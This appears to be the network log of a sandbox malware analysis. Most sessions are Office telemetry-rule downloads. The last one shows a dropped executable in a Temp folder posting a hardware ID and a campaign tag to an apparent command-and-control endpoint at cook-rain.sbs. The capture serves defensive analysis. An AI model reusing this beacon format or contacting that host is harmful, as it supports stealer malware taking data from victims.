2024-11-18 20:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200422Z-16547b76f7fkz9l7hC1DFW35uc00000003e0000000002s5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:22 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 787388c3-601e-0070-268f-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-164f84587bf7jb9dhC1DFWkay400000005z0000000007p9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:22 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-1866b5c5fbbfkdfghC1DFW4sv400000005eg000000009c63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:22 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-16547b76f7fd77jrhC1DFWfwq000000002vg00000000x2zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:23 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-1866b5c5fbb7km9phC1DFWr2sc000000051000000000tpuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:23 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-1866b5c5fbbls4jchC1DFWnmb400000001hg00000000rwmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:23 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:23 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-16547b76f7fd77jrhC1DFWfwq000000002wg00000000rmpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:23 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-16547b76f7fxqj4khC1DFWpypw00000003g000000000za0d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:23 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200423Z-16547b76f7fd4rc5hC1DFWkzhw00000006f000000000x6mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b85c485e-e01e-00aa-4976-36ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200424Z-164f84587bfr8hdmhC1DFWt5nc00000004mg0000000030k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200424Z-1866b5c5fbbls4jchC1DFWnmb400000001mg00000000h1ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49874	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E0KLHVBEYXH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: cook-rain.sbs
2024-11-18 20:04:24 UTC	1236	OUT	Data Raw: 2d 2d 45 30 4b 4c 48 56 42 45 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 41 41 30 35 34 34 41 37 34 44 35 45 32 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 45 30 4b 4c 48 56 42 45 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 30 4b 4c 48 56 42 45 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 30 4b 4c 48 56 42 45 59 58 48 Data Ascii: --E0KLHVBEYXHContent-Disposition: form-data; name="hwid"5BAA0544A74D5E2B63CFCF7E6C45F838--E0KLHVBEYXHContent-Disposition: form-data; name="pid"1--E0KLHVBEYXHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E0KLHVBEYXH
